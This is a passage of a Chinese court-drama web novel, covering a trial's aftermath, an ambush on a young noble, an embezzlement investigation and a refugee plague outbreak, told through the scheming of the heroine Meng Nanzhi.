陈大人重拍惊木,“匠人前后言词不一,你作为被告人,有通供之嫌。难道你是觉得本官判得太轻?非要从重处罚,将你关在牢狱不可?”
大衍律例,若是平民,此刻已经被关进牢狱。
然林婉柔现在是侯爵平夫人,他只能依照大衍勋贵法给予优待。
沈卿知闻言,连忙上前拱手道:“陈大人,婉柔她只是一时激动,并无质疑您判决的想法。”
说罢,他轻拉了拉林婉柔的衣角。
林婉柔一片温顺地说道:“陈大人,民妇必定谨遵您的判决,在府中静候调查结果。”
只是她垂下的眸子,满是愤恨和不甘。
陈大人看似公平允正,可却还是处处向着孟南枝。
孟南枝。
孟南枝。
她怎么就那么好运!
陈大人见她认下,再道:“为确保本案公证,证人二牛将依律在牢狱待在本案了解。其在狱期间,伙食被褥皆依常人对待。”
二牛跪地叩恩。
林婉柔闻言更恼,这是一点也不想给她留余地。
陈大人又扫了眼堂下的众人,沉声道:“本案暂时到此,待本官进一步调查取证后,再行宣判。退堂!”
随着惊木重重落下,衙役将哭得梨花带雨的陆筝筝带走。
沈卿知看了眼目光停留在陆筝筝身上的萧临渊。
决定先不管对他不屑一顾的孟南枝,和林婉柔回府好好商议该怎么救陆筝筝。
他还记得那个梦,陆筝筝会带他踏上更高的山顶,赏更美的风景。
那是他憧憬了半辈子的梦想。
出了刑部,**鱼押着马夫黑水低声道:“夫人,小人已经完全按您的吩咐说了,您可将小人放了?”
孟南枝冷冷地看着他,“我什么时候答应放你了?”
黑水脸色煞白,“可,可,我已经按您的意思指使陆姑娘了。”
“但这不能抵消你曾经犯的错。”孟南枝眸色越加冷淡,带着刺骨的寒意。
那日她在将军府的牢狱中,已经从他口中得知当年的真相。
确实是黑水得了林婉柔的命令,让春燕的娘去侯府**。
但他没有任何实证,对于春燕到底是如何死的,麻子到底是不是受人指使故意害得春燕。
不管怎么审问,他都说不知情。
完全无法定林婉柔的罪。
孟南枝只能从他的供述中,抽茧剥丝地拽出他带着陆筝筝夜见麻子一事。
黑水还想提出要求,在看到孟南枝身后突然现的人影后,吓得连忙缩了缩脖子。
贾掌柜一路走过来,对孟南枝笑的献媚,“夫人,案子可是结了?”
孟南枝点头,“暂时结了,此事辛苦贾掌柜了。”
贾掌柜一脸笑呵呵地道:“卑职不辛苦,都是将军临走前的交代,夫人只要有用地在我们的地方,尽管提。”
对于贾掌柜这些时日处处不忘提及谢归舟,孟南枝已经做到自动忽略,不做应答。
贾掌柜也不觉得尴尬,笑眯眯地扫了眼黑水,“我刚才看到这贱奴在跟夫人说些什么,他可还算听话?”
黑水吓得战战栗栗,不敢抬头。
孟夫人狠,是言辞上的狠,手段上的狠。
但将军府的这位贾掌柜是真的手狠,他被贾掌柜施刑的那日,几度以为自己要见阎王了。
偏偏是死也死不了,活还活得难受。
直到最后,他彻底失去了意志,将所知道的一切全部招出。
“公堂之上,还算听话。”孟南枝轻轻地扫了他一眼,“把他带回将军府吧。”
他是助了她,但她并不打算放过他。
陆筝筝一事还未定,把他放在将军府才算安全。
“是,我这就将他带回去。”贾掌柜闻言立马将
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手按在了黑水的肩膀上,“走吧。”
待他们离去,孟南枝一行人坐上马车。
沈朝昭一脸的好奇,“将军,是指的屠戎将军?”
孟南枝语气平常,“是他。”
沈朝昭哦了一声,没再追问。
昨天晚上二哥和他讲了一些母亲回来之后的事。
但提到屠戎将军时,几次欲言又止。
沈朝昭自认她的脑子虽然没有很聪明,但她又不傻。
这期间指不定还发生了什么事。
今天一早起来便让知秋去打听了。
想知道什么,等她回去见到知秋,自然就清楚了。
孟南枝看了眼心不在焉的江鱼,“江鱼,此次也要多谢你及时解围。”
江鱼惊醒抬头,“夫人,这都是我该做的。”
孟南枝面上浅笑,心中却是惊奇,江鱼的语气,好似比之前更加恭谨了一点。
沈朝昭盯着江鱼的脸,一副大小姐非常满意的样子,“不亏我二哥把你当朋友,你今日做得非常不错。”
江鱼颇轻轻地瞥了她一眼。
如沈砚珩所言,他这个妹妹,果真言辞傲慢,头脑简单,容易被人激将。
江鱼顺从地应道:“多谢沈姑娘夸赞。”
沈朝昭挑眉,“你这人,怎么一点也不客气。我听二哥说,你家是梢城的,那么远,你是怎么想到来京都的?”
江鱼不假思索道:“京都乃是大衍之心,但凡有点梦想的人,都会想着来闯一闯。”
“那倒也是。”
沈朝昭跟着太后去避暑山庄的这些时日,也常听避暑山庄的小丫鬟们闲聊。
希望能得到那位贵人的赏识,跟着来到京都,看一看京都的繁华。
若是得了贵人的眼,说不定全家都会跟着一飞冲天,来到京都落户。
想了想,沈朝昭又问道:“你都出来这么久了,不想家吗?”
她在避暑山庄的日子里,可是一直想着大哥和二哥的。
江鱼不动声色地看了眼孟南枝手中的鸽血石,“是想的,我打算过段时日就回家了。”
有些事,他想回去和家人说一下。
第164章 沈砚修遇险
“你要回家了?”
一直听着他们谈话的孟南枝惊讶。
江鱼点头,“是,夫人。”
“还来吗?”
孟南枝记得陆筝筝身边那个带面具的“江鱼”,可是一直都在京都的。
江鱼摇头,“还不知道,等我回家见过父母再说吧。”
孟南枝颔首,“你父母肯定是处处挂念着你的,回去好好的和他们相处一段时间。”
她记得次子沈砚珩曾说过,江鱼也是离家出走的。
但依她对江鱼的观察,他不像是和父母之间有什么隔阂的样子。
不过家家有本难念的经,她作为外人,不好过多干涉别人的生活。
沈朝昭对江鱼不熟,听他们谈话觉得有些无聊。
兴趣盎然地看了眼一直被母亲握在手里鸽血石,自然而然地喊道:“母亲,我能看看那块石头吗?”
孟南枝被女儿一声“母亲”唤得心头一软,将宝石递给了她,“喜欢吗?喜欢的话,你就拿着玩。”
“喜欢。”沈朝昭点头,又摇头,“既然是外祖母的遗物,母亲好好留着吧,我怕自己弄丢了。”
她拿着石头对着阳光照了照,玉质通透,和平常的玉石没什么两样。
“这宝石怎么火一烧就有字了呢?还和外祖母一个姓,外祖母怎么会有这么奇特的宝贝?”
孟南枝回忆母亲说过的话,和女儿解释道:“据你外祖母所言,这块玉石是她祖爷爷流传下来的。一共有两个,她一个,你外祖母的兄长一个。”
看不出什么名堂的沈朝昭将宝石还给母亲,“外祖母还有兄长吗?他在哪里?”
孟南枝摇头,“你外祖母说他病了,可能已经不在了吧。”
母亲都去世这么久了,比母亲年长的兄长这么多年从未出现过。
想来应该是真的病重,已经不在了。
江鱼闻言,神色更加复杂。
沈朝昭撂开车帘看了眼窗外,“母亲,我们这是去哪?这好像不是回府的方向。”
孟南枝笑道:“我们去看看你胡祖姨母。”
胡姨娘挂念了她这么多年,也一直替她担心照顾着孩子。
女儿如今回来,也该带她一起去探望一下她。
……
山城。
风雨已尽,满地沧桑。
悬崖下,河水边的树林下。
沈砚修满身血污,脸型消瘦,那双出京前还透着清澈愚蠢的眼睛里,此刻满是坚毅。
自上次犯错被罚后,他又出了几次送粮任务,皆圆满完成。
太子萧明渊和将军谢归舟都夸他进步了不少。
他这次出来,是借着送粮任务的名义,暗地里替将军送一道密旨。
哪想到他刚送完密旨出来,就被一群黑衣人追杀。
这次钱飞因另有要务,没有跟着他。
是百万护着他在将要被敌人刺中的一刹那,跳下了悬崖。
在经历数道树木阻力后,他们落到了下面的河水中。
很幸运,两人都没有重伤。
河水也不深,也都没有呛到多少水。
此刻,百万让他先坐着歇息一会儿,自己去河里抓鱼去了。
沈砚修抬头看了眼百丈高的悬崖,和被山峰挤压成条状的天空。
想家了。
想母亲,想珩弟,想昭妹。
也不知道自己不在,母亲会不会再次受到父亲的纠缠。
珩弟会不会再被人诱惑着犯罪,能不能照顾好母亲。
昭妹跟着太后会不会受委屈。
等昭妹见到母亲时,该是怎样一个惊喜的样子。
他差点就以为自己是真的要**,再也看不到他们了。
强壮而一向好运的百万,这次是空着手回来的,“世子,这是什么水?为什么里面会没有鱼?”
他在水里趟了一圈,蹲了半个多时辰,硬是一条鱼都没有见到。
饿得他肚子都开始咕噜咕噜叫了。
沈砚修打起精神,抬手搓了把脸,站起来,“别抓了,我们快走吧,这里可能不安全。”
他这次跟着太子出行,经历了很多,也见识了很多。
对方敢在光天化日之下追杀他,定是不会让他活着过去。
他有些提心对方不见到他的尸体不放心,再追下来找他。
他不能死,他要活着回去。
不能让母亲他们伤心。
百万闻言看了眼悬崖,“世子,这山也太高了,咱俩爬不上去啊。”
“我们不爬山,沿着河流往下游走。”
沈砚修捡了一根趁手的木棍当作拐杖。
他跳下来时,虽然有百万护着,还是崴了脚。
反倒是被他垫在下面的百万,是一点事情都没有,还是活蹦乱跳的。
沈砚修第一次觉得,自己或许该找将军给自己加大一下训练强
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度。
总不能让旁人护着自己一辈子。
自己也要有一定保命的手段才行。
两人这一走,便是五六个时辰。
山内漆黑,伸手不见五指,两人相互搀扶着,饥肠辘辘。
百万松开口,一屁股蹲在地上,“世子,歇歇吧,我是真的走不动了。”
沈砚修随他坐下来,他也是真的走不动了。
歇了几息,沈砚修又站起身,“百万,你坐在这里等着,我去看看能不能找到吃的。”
百万闻言连忙起身抱住他的腿,“世子你别走,我跟你一起去。”
“你歇一会儿。”这一路都是百万护着他,沈砚修有些不好意思。
百万摇头,顺着他的腿爬起来,又抱住他的胳膊,“世子别丢下我,我怕黑。”
沈砚修怔了怔,“你会钻木取火吗?”
百万点头,“我会啊,跟着将军出去打仗,怎么能不会这些基础技能呢。”
沈砚修虽然看不清百万的表情,但也能猜出他此刻肯定很嘚瑟。
他笑了笑,“那我去找点木柴,点上火就不怕黑了。”
两人落水后,身上未干的衣服还带着潮气,谁也没想到要用火去烘干一下。
“世子,点火不用钻木也行吧?你看这是什么?”
聪明的百万从怀里掏出火石,一下子打开。
火光点亮沈砚修懵逼的脸,“你有火石怎么不早点打开?”
百万同样懵逼,“我以为世子喜欢玩点刺激的,不想点火呢。”
沈砚修一阵无言,他能说他不会,也没想起来点火吗。
身边没有合适的木柴,沈砚修便直接把自己当作拐杖的木棍点着,燃了起来。
两人守着火把,刚准备继续往前走,一支利箭就直刺他的门面。
百万反应很快地把他推倒,“世子小心。”
沈砚修倒在地上,连忙吹灭火把。
百万也趁机滚了一边。
对方却仿佛摸准了他们的位置,一支又一支地射来。
就在沈砚修以为这次是真的在劫难逃时,只听反方向传来同样破空的利箭声。
紧接着几根被突然点燃的火把扔到对面,照亮黑衣人。
黑衣人躲避不及,皆中利箭,应声倒下。
命悬一线而后怕不已的沈砚修和百万同时看向来人。
“将军?”
“明挽月?”
第165章 回京前,把伤养好
谢归舟微微颔首,冷冽的目光扫向地上的黑衣人,对身后侍卫指示,“留活口。”
明挽月收起短弓,快步跑到沈砚修身前,“沈砚修,你怎么样?有没有受伤?”
沈砚修摇头,“我没事,你怎么来了?”
明挽月扶他起来,“我随母亲看完祖母,等祖母好点后起程回京,路上得知你和将军在这里赈灾,就顺道过来看看。”
“那你母亲……她也在?”
沈砚修下意识地避开了明挽月的手,抬目看向四周。
在明程面前,他有些心虚。
明挽月顺着他的目光看去,眨了眨眼睛,“你找什么?我母亲吗?她没跟下来呀。”
“不找什么,我随便看看。”沈砚修这才松出一口气。
直到他站起来,才后知后觉地发现另一只脚也崴了,疼得直打冷颤。
明挽月以为他是冻的,忙脱下自己的披风搭在他肩上。
“你的衣服都是湿的,我问将军看带的有没有衣服。”
沈砚修强忍着疼痛,将披风还给她,“我不冷,你穿着吧。”
明挽月接过披风,歪着头看他,“你是嫌弃我的衣服?”
距离很近,沈砚修盯着她亮晶晶不含一眼杂质的眼睛,闻着她发间的白皂香,不禁面色涨红,“我没有。”
他只是觉得山里温度较低,不想因为自己致使她跟着受凉。
明挽月撇嘴,“你明明已经冻得嘴唇发抖了,还说不冷,不是嫌弃是什么?”
说罢从他手里拽过披风搭在了自己肩头,不穿就不穿,跟谁想上赶着让他穿似的。
一侧被忽略的百万爬起来,凑到他俩身前,“明姑娘,沈世子不用,我用啊,给我找一件,我这衣服都黏身上了。”
明挽月看了眼他与沈砚修一样带着潮气的衣服,热心地点头,“行,我去给你问问。”
沈砚修瞧着她毫不犹豫就离开的背影,有些郁结。
他明明是疼的,怎么在她眼里就成嫌弃了呢。
另一边,谢归舟已经将尚存气息的黑衣人全部控制住。
听到明挽月的需求,从属下的包裹里拿出两套衣服过来,分别递给沈砚修和百万。
看到沈砚修的站姿不对,皱眉道:“脚受伤了?”
沈砚修点头,“崴着了。”
谢归舟蹲下来查看他的脚腕,“骨头没事,等会我让人抬你回去。”
“不用,将军,我能走。”沈砚修摇头。
他自认不算娇弱,歇息一会能够走回去。
谢归舟轻轻地看了他一眼,“腿不想要了?还是想瘸着腿回去看你母亲?”
沈砚修光想到这个画面就觉得母亲肯定会心疼得要死,连忙拱手道谢:“多谢将军。”
谢归舟拍了拍他的肩膀,“回京前,把伤养好。”
沈砚修再次重重地点头,“是,将军。”
直到沈砚修躺在侍兵做的简易担架上,明挽月才反应过来,“你真不是嫌弃我啊?”
沈砚修看着一直凑在他跟着的明挽月,唇角弯了弯,“嗯。”
明挽月眉目生笑,从怀里掏出一张大饼递给他,“本来还想让你继续饿着,看你是伤患,还这么可怜的份上,给你吧。”
百万见状,嗅觉敏锐,拖着笨重的身子,健步如飞地就跑了过来,“明姑娘,我的呢,我的呢?我也饿了,我都一天一夜没吃东西了。”
明挽月摸了摸空荡荡的衣怀,有些尴尬,“没啦,要不你等一会儿,我看看附近有没有什么可以吃的。”
沈砚修将大饼掰开一半,递给他,“来,这给你。”
百万接过来一口吞下三分之一,边嚼边道:“还是沈世子够意思,我们也算是有着过命的交情了。”
“是过命的交情,还要感谢你对我的救命之恩。”
沈砚修笑着啃了一口大饼,有些硬。
放在京都他连看都不看一眼的食物,此刻吃起来却特别香。
这些日子,将军待他如师似父,钱飞和百万待他如亲似友。
如今连明挽月都来了,他虽远离了家,却又似进入了另一个家。
活着,真好。
等到了官署,太子萧明渊满身疲惫却双目精亮地出来迎接他们。
交代明挽月好好照顾沈砚修后,谢归舟同萧明渊一起进了官署书房。
萧明渊亲自给谢归舟沏了一杯茶,“国舅,此次是不是有些冒险了?”
暖茶入胃,谢归舟提着的心总算
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放了下来,“是有些冒险,但收获却不错。”
收到孟正德送来的密信后,他和太子便借着赈灾的由头,暗查九曲河决堤一事。
他们越查越心惊,山城官场关系错综复杂,他们本以为**结已经是罪大恶极。
哪想这些地方官员,竟然还借着加固堤坝的由头,每年骗取朝中款项。
为了自身得益,所作所为简直令人发指。
那些被破坏的堤坝,让无数百姓流离失所,失去了家园和亲人。
而这些官员却在背后中饱私囊,全然不顾百姓的死活。
而他和太子坚信,此事若无朝中人给予掩护,他们必然做不到这般。
安排沈砚修去送密信,便是为了“钓鱼”。
太子不可能走开,他的目标又太大,唯有沈砚修去,那些人才敢动手。
在得知沈砚修被逼得跳下悬崖那一刻,谢归舟整个心都提了起来。
若是沈砚修真的出了事,他都不知道自己该怎么回京面对孟南枝。
他曾在她面前说不喜欢钓鱼,却还是利用了她的孩子进行“钓鱼”。
“这些人如此胆大妄为,必须严惩不贷。”
萧明渊眉头紧锁,一脸愤怒,“国舅,通过这次试探,能不能揪出幕后之人?”
上次他与谢归舟已因赈灾之事,砍了几个官员的脑袋。
本以为会平静一段时日,哪知这些官员竟然如此大胆,完全不忌讳他这个太子。
竟然还敢在光天化日之下,截杀朝廷命官。
他不发威,还真以为他是条冬眠的软蛇。
“太子放心,证据已经收集得差不多了。”
谢归舟放下茶杯,反过来为他添茶。
萧明渊轻饮一口,心中平静不少。
顿了顿,他又道:
“今日淇县出了疫病,已经按照出京时孟相提出的建议,安排医理之人对症下药,也不知明日情况如何,能不能得到控制。”
谢归舟唇角弯了弯,“太子放心,孟相在出京前便提出相应对策,想来此疫病也必然能够得到妥善解决。”
因为他很清楚,孟父提出来的,定然是孟南枝主动开口说出的。
那么此事,必然会有好的结果。
第166章 流民,出疫病了
京都,南街。
马车吱吱呀呀地赶了一路。
等孟南枝带着沈朝昭赶到胡姨娘所住的小院时,一个穿着褐色锦衣少年正在门口鬼鬼祟祟地走来走去。
江鱼率先下了车,“你干什么的?”
少年吓得猛地一缩脖子,待扭过头看到同样是名少年的江鱼时,蜡黄的脸上反而露出惊喜。
“你住在这里吗?”
江鱼看了眼胡姨娘所住宅院的大门,没应他。
“你趴在别人家门口做什么?”
少年语气中带着点求助,“我想问一问,这里是孟府的宅子吗?”
坐在马车里的沈朝昭闻言,便想下车。
孟南枝按住她,示意她别冲动。
胡家人去孟府闹过几次,皆被她打发走,按理说应该没人知道胡姨娘离了孟府的消息。
而且这期间,她一直有交代刘嬷嬷安排人守着,胡家人也从未寻到这里来。
依照刘嬷嬷给她介绍胡家的人员结构,胡家没有眼前这般岁数的少年。
孟南枝有些不确定他是从哪里得到的消息。
竟然会问出“这里是孟府宅子吗?”这句话。
江鱼皱着眉摇头,“不是。你到底是干什么的?不说我叫报官了。”
他在孟府待的这些时日,对孟府情况比较了解。
孟南枝不能下车,一下车眼前人便可能直接确认这里跟孟府有关。
沈朝昭半知不解,头脑简单,就更不能下车了。
所以有些话还是他问最合适。
少年一听说要报官,吓了一跳,后退了两步,吞吞吐吐地道:“你别报官,我不是坏人,我是来找人的。”
江鱼道:“你找谁?”
少年左顾右盼了几眼,言辞依旧吞吐,“我、我姨祖母是孟府的姨娘,是那个孟府,刚被封为右相的那个孟府。”
“我姨祖母是他的妾室,我听说她可能最近住、住在这里,就想过来看一看。”
姨祖母,那便是胡姨娘的侄孙。
难道是赵佩兰的孩子?
孟南枝撂开车帘扫了一眼少年的五官,果真与赵佩兰有几分相似。
胡家人去孟府**的那几次,没有一个人提及赵佩兰。
仿佛全都把赵佩兰遗忘了。
也不知是不是还真指望着赵佩兰能带着他们胡家一飞冲天呢。
江鱼两眼一瞪,故作凶狠地吓唬道:“这里不是,你找错地方了,你再在这里鬼鬼祟祟的,我立马就报官把你关进牢狱。”
少年还有些胆小,闻言连忙道:“可能是我找错地方了,我就说姨祖母不可能住在这里。我这就走,这就走,你可千万别报官。”
说罢,急步小跑着便逃开了。
孟南枝下了马车,盯着他的背影对江鱼吩咐道:“江鱼,辛苦你跑一趟,看看他去了哪里?跟什么人见面?”
江鱼没有多问,点头应下后,转身就追着那少年离开的方向跑去。
孟南枝在身后嘱咐,“小心点,追不到就回来。”
江鱼没有回头,冲她摆了摆手。
沈朝昭看着他们离开的方向,满眼不解,“母亲,刚才那个人你认识吗?他怎么会寻到这里来。”
孟南枝摇了摇头,浅笑道:“不认识,等江鱼回来再说吧。”
女儿还过于单纯,赵佩兰的事不好说给她听。
院内的人似乎听到门外的动静,轻轻打开门,探出一只娇小的头。
是胡姨娘的丫鬟翠平,“姑娘?”
见到孟南枝,翠平忙把门打开迎着她进府,并对院内喊道:“夫人,姑娘来了。”
自胡姨娘离了孟府,她的这几个丫鬟都开始转称她为夫人。
胡姨娘的宅院并不大,却很温馨。
门边种了一颗石榴树,还有几枝葡萄滕。
院内不似旁人的空阔,而是打了桩子,挂满了各种各样的布料。
孟南枝进来时,胡姨娘就正埋在布料堆里一层一层地探看,并嘱咐着丫鬟做记录。
胡姨娘听到丫鬟的呼喊,从布料堆里走出来,满脸惊喜,“枝枝,你怎么来了?还有昭儿,你什么时候回来的?”
沈朝昭面了没了昨日刚见的傲慢,乖
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巧地道了声:“祖姨母,我是昨日回来的。”
胡姨娘打量着她的身高和脸蛋,“这才多久不见,又长高了,还瘦了,看来我之前给你准备的秋衣和冬衣都不合身了。”
言罢,又拉着她走到挂满布料的绳子面前,一个个给她介绍。
“昭儿,你看,这是从蜀地新进贡的锦缎,颜色鲜艳,质地也特别好,做成外衫肯定好看。”
“还有这匹苏绣的丝绸,上面的花纹都是绣娘一针一线绣出来的,最合适做裙子。你看看喜欢哪种,祖姨母让人给你做身新衣裳。”
胡姨娘为沈朝昭介绍的,都是她日常喜欢的颜色。
沈朝昭看着那些布料,眼中闪过喜爱,非常诚恳地说道:“多谢祖姨母,您说的这些我都很喜欢,一样来一件吧。”
来的时候母亲和她讲过了,在胡姨娘面前不要客气,要不然她会觉得自己把她当外人。
胡姨娘闻言果真高兴,“好,好,昭儿喜欢就好,祖姨母一样给你做一件。”
枝枝讨她喜欢,枝枝的孩子更讨她喜欢。
言罢,她又转身看向孟南枝,“枝枝,你也挑选几样。”
“那我就多谢姨娘了。”
孟南枝点头,没有客气地选了两样自己喜欢的花色。
听到孟南枝熟悉的称呼,胡姨娘眼眶微潮,也没纠正她,温笑道:“你们吃饭了吗?”
孟南枝摇头,“还没呢,刚忙完过来。”
她掐着晌午的饭点过来,就是想着和胡姨娘好好地聚一聚,多和她说说话。
胡姨娘道:“那正好,我也没吃呢,让厨房再添两道菜,咱一起吃。”
“那就多谢姨娘啦。”孟南枝娇嗔着道谢。
胡姨娘点了下她的脑袋,“谢什么,我巴不得你天天来一起吃饭呢。”
孟南枝应下,“那我以后会常过来的。”
只可惜,饭还没吃上,观棋便领着曹宛清急匆匆地赶了过来。
曹宛清先是对胡姨娘福了礼,才面色忧愁道:
“南枝,如你所料,流民出疫病了。”
第167章 称病,请太医
孟南枝眸色微凝,“情况如何?可有控制?”
虽然她早知会发生疫情,但真到此刻,心中还是不免有些沉重。
“好在你之前建议每日先看诊再施粥。”
曹宛清点头,眉宇间皆是疲惫,“今早施粥前,看诊的郎中发现有不少流民出现发热、咳嗽等症状,立马就报备上来,现在已经暂时将有症状的流民隔离开来。”
孟南枝微微松了口气。
在此之前,她们已经做了万分准备。
为了预防突发疫病,早在太子侧妃曹宛宁找到她的第三日,曹国公府便安排好了隔离之处。
就在城门外二三里一处废弃的庄子。
想了想,孟南枝又道:“那些流民的情绪可还稳定?”
见曹宛清口干舌燥,胡姨娘连忙沏了茶水给她。
曹宛清快速却不失优雅地喝完后,回应道:“一开始还不愿意,情绪比较激动,被守城将军打了一顿后,听话多了。”
曹宛清想起今天早上的情形,眸色还有些复杂。
她在刚得知有疫病的那一刻,便立刻想起妹妹和南枝的吩咐,立马和守城将军及官员一起安排隔离。
可那些流民根本就不听,只以为是不管他们,要将他们赶到远远的地方自生自灭。
一个个情绪激动,闹着不走。
而那些没得疫情的流民,又害怕被他们传染得了疫病,互骂着要把他们赶走。
吵着吵着,得病的,和没得病的就打了起来。
守城将军直接将两个带头的流民当场**,才算控制住局面。
孟南枝皱了皱眉头,“太医院已经安排人过去了吧?”
曹宛清应道:“去了,院首亲自带着人过去了。”
孟南枝看了眼虽已出太阳,却并不暖和的天,沉声道:“时值夏秋交替,气候多变,流民们风餐露宿,身体本就虚弱,极易染病。”
“而且他们**在一起,这疫病传播起来速度会很快。我们要做好最坏的打算,多准备些药材和防护用品。”
虽然她之前存了不少药材,但前几日都暗里被她以父亲的名义送到了山城。
因为她清楚地知道山城比京都更加需要。
曹宛清点头,“这你就放心吧,药材和防护用品国公府和太子府都准备得充足。”
孟南枝闻言没再多说。
她心知对于此事,不管是太子府的那些幕僚,还是国公府,都会安排得比她更为妥当。
曹宛清同她说完,提着的心总算松懈了一点,顿了顿,她又问道:“南枝,你说这次疫病会不会很严重?”
弟弟说,关于此次施粥,不管发生何事,都可以多问问南枝。
她的答案,可能便是最终结果。
曹宛清不是很理解,但也知道听弟弟的,不会错太多。
而且,她本来就很相信南枝。
孟南枝握住她有些发凉的手,安抚道:“放心吧,宛清姐,不会很严重的。”
曹宛清闻言,一直挂在脸上的忧愁缓下来。
既然南枝说不严重,那一定不会严重的。
没了压力,曹宛清才有心思问起三司会审之事,“陆筝筝被关起来了吗?”
昨日夜里临睡时,她收到孟南枝送的密信,说要状告陆筝筝一事。
好说歹说,再加上她对孟南枝人品的再三保证,夫君才同意了在早上临时缉拿陆筝筝。
若无实证,等回了府,夫君只怕是会跟她闹些小情绪。
她刚才是从城门直接到孟府,又被观棋带到这里来的,还不知道结果。
孟南枝将结果告诉她,“暂时关押。”
曹宛清眉眼生了怒,“真是她干的?小小年纪,怎的这么狠毒?”
孟南枝微微颔首,没接话。
虽然黑水的证词是半真半假,但从他嘴里得知,安排麻子和“铁柱”污蔑她名声的人,竟然是陆筝筝时,孟南枝也是完全没想到的。
毕竟不管是巨幕中刻画的,还是孟南枝从小见到的,陆筝筝都是一个可怜兮兮的小白花形象。
只是因着子女,孟南枝打心眼里不信她。
事实也证明,她确实和她母亲林婉柔一样,不是好人。
“她该不会是替她母亲顶罪,被她
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母亲当了枪使吧?”
曹宛清回过味,她不信会有天生就这么坏的人。
污蔑孟南枝的清白,最后得利最大的是林婉柔。
这事八成还是林婉柔干的。
想到这里,曹宛清又道:“南枝,你放心,我回去会再和陈郎说说,让他继续往深里查,定能把她们这对母女的真面目给揭穿。”
孟南枝笑道:“行,那我就先谢谢宛清姐和陈大人了。”
“跟我还这么客气。”
曹宛清又与她说了两句话,便提步回了府。
她也很忙,还有很多事情要做。
更重要的是,还要把孟南枝说的话,讲与弟弟听。
在曹宛清走后,胡姨娘拉住孟南枝的手,满脸担心的嘱咐。
“枝枝,流民既然出了疫病,你这些时日便再出去了。”
孟南枝点头,“放心吧,姨娘,我心中有数的,不会再出去的。”
她经历过死亡,比别人更怕死。
不会把自己放到危险之地。
胡姨娘欲言又止。
孟南枝看出她的想法,自顾道:“我也会和我爹说,让他也不要出城的。”
虽然巨幕中,父亲并未染上疫病。
但因为她的回来,很多事情发生了改变。
孟南枝觉得胡姨娘的担心不无道理,也要让父亲多加防范才对。
胡姨娘揪着的眉心这才舒展开来。
一直等到江鱼回来,在胡姨娘宅院简单的用过膳后,孟南枝才带着沈朝昭回孟府。
坐上马车,江鱼简述道:“夫人,那小子跟着一个彪汉住在‘三月客栈’。”
再细的,还没能查探到。
孟南枝点头,短时内知道他住在哪里,和谁在一起,已经很不错了。
回到孟府,孟南枝叫来刘嬷嬷。
询问赵佩兰这些时日还算老实后,孟南枝让她再安排两个人去“三月客栈”守着。
盯着可能是赵佩兰儿子的那小子,让他别闹出事。
沈朝昭跟着她累了一天,孟南枝嘱咐她先去歇息。
而后叫来观棋。
称病,请太医。
第168章 挡到了她的光
观棋请来的太医不是旁人,正是孟南枝比较相熟的洪太医。
洪太医一见孟南枝,就满脸献媚地笑道:“多日不见,孟夫人是更加年轻貌美气色好了。”
只通过望字,他便知道眼前的人没生病。
孟南枝也不与他客套,只问道:“太子侧妃可还好?”
曹宛宁自请禁足后,孟南枝便再未见过她。
洪太医作为特地被太子留下来,为太子侧妃护胎的太医,少不了要与曹宛宁天天见面。
洪太医道:“太子侧妃甚好。”
孟南枝闻言颔首,“洪太医可知城外出了疫病?”
洪太医眸色凝重下来,“确有听闻。”
孟南枝再问:“那你们制的药,可有进展了?”
洪太医听闻此话,猛地抬起头,看向孟南枝,“孟、孟夫人。”
她怎么会知道他们这群太医被太子侧妃每日请到府中,并非是单纯地看诊胎脉。
还一直在根据太子侧妃提出的一种疫病症状,在研制对症之药。
只是这些时日,一直没有什么进展。
孟南枝也不迂回,直接说道:“我给你一个方子,你回去好好琢磨,但还请洪太医谨记,不管功过,都要你一人承担,与我无关。”
曹宛宁手中的疫病症状,是当初她们在谈及流民安置对策时,孟南枝提的。
提前安排医理之人研制对症之药的建议,也是孟南枝提的。
所以孟南枝很清楚洪太医他们在做什么。
洪太医闻言连忙半躬下身子,沉声道:“孟夫人,若您的方子能冶疫病,这将是大功一件,我不敢一人承担。”
孟南枝眸色平静,“洪太医,我的水邪闭窍之症是你提出的吧?”
“这……孟夫人,您也知道,当时的情况……就是……”
一提及此事,洪太医就觉得头疼。
自打孟南枝在荷见宴上露脸后,第二日宫中的妃子都寻上了他,问他得了“水邪闭窍之症”是否真的会封锁美貌,永葆青春。
这当然是假的了。
但他能怎么说,只能说孟南枝是个意外。
直到现在,宫里的许多妃子还对他的解释表示不满。
尤其是皇后娘娘,把他叫到了跟前三次。
句句没说此事,却又句句隐晦地提及此事。
他悔啊,悔自己当初为什么非要嘴快地说什么水邪闭窍之症。
完全是替孟南枝造了谎。
孟南枝见他连话都说不囫囵的样子,平静道:“洪太医,你为我诊过病,当知道我的病情,我对很多事情都不记得。”
“你说,我了解医术吗?能独立研制出治疗疫症的药方吗?”
她是通过巨幕大概的知道治疗疫症,用了哪几位药引,但全部的药方和比例,孟南枝却是不清楚的。
她不是神,不懂医术。
即便是从她回来就开始学,到现也最多是能把相关的医术通读完,难以达到能为人诊病的地步。
就更别提是研制药方了。
没个十年、八年的功夫,一般人很难达到那种地步。
所以孟南枝才将可能会发生疫病的症状和太子侧妃曹宛宁提及。
便是想借着她的手,把药方给制出来。
洪太医连忙躬身正色道:“孟夫人,您放心,我定当谨记您的话,不管功过,均会一人承担。”
孟南枝见他明白了自己的意思,从袖中取出早就写好的纸条,递给他,“这是其中几味药引,你看完记下来,回去好好研制。”
“具体能不能成,全靠你个人的本事。所以功,是你个人的。”
洪太医接过纸条,牢牢将那几味药引记下来,又将纸条还给孟南枝。
再次躬身道:“承孟夫人吉言,我回去后一定日夜钻研,争取早日研制出治疗疫病的药物。”
孟南枝摆手,示意他回去。
待洪太医走后,孟南枝坐在椅子上,手指轻击桌案。
巨幕之中,此次疫情是由陆筝筝和萧临渊共同解决的。
她今日故意让黑水在三司会审时,说出半真半假的证词,就是为了让陆筝筝被关进牢狱。
孟南枝要阻止陆筝筝任何一步起势成名的可能。
她不会给他们翻盘的机会。
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>……
刑部,牢狱。
因为奕王萧临渊和镇北侯的关系,陆筝筝虽被关进了牢房,但待遇却并没有特别凄惨。
她所关进的那间牢房被打扫得很干净,还换上了新的被褥。
但即便如此,她的心情也不好。
萧临渊在三司会审时没有替她说过一句话。
母亲说过会救她出去,可母亲却又被南姨给害得禁了足。
隔壁住了一个名**,长得凶神恶煞,抱着栏柱一直猥琐的往她身上瞧。
她很害怕。
她想不明白,她明明没有说过要杀了南姨的话,为什么那黑水要往她身上泼脏水。
必定是南姨要害她。
而且……
陆筝筝抱着身子坐在石板床上,透过巴掌大的窗户,遥望着那一点点光线。
她总觉得好像有什么东西一直在挡着她。
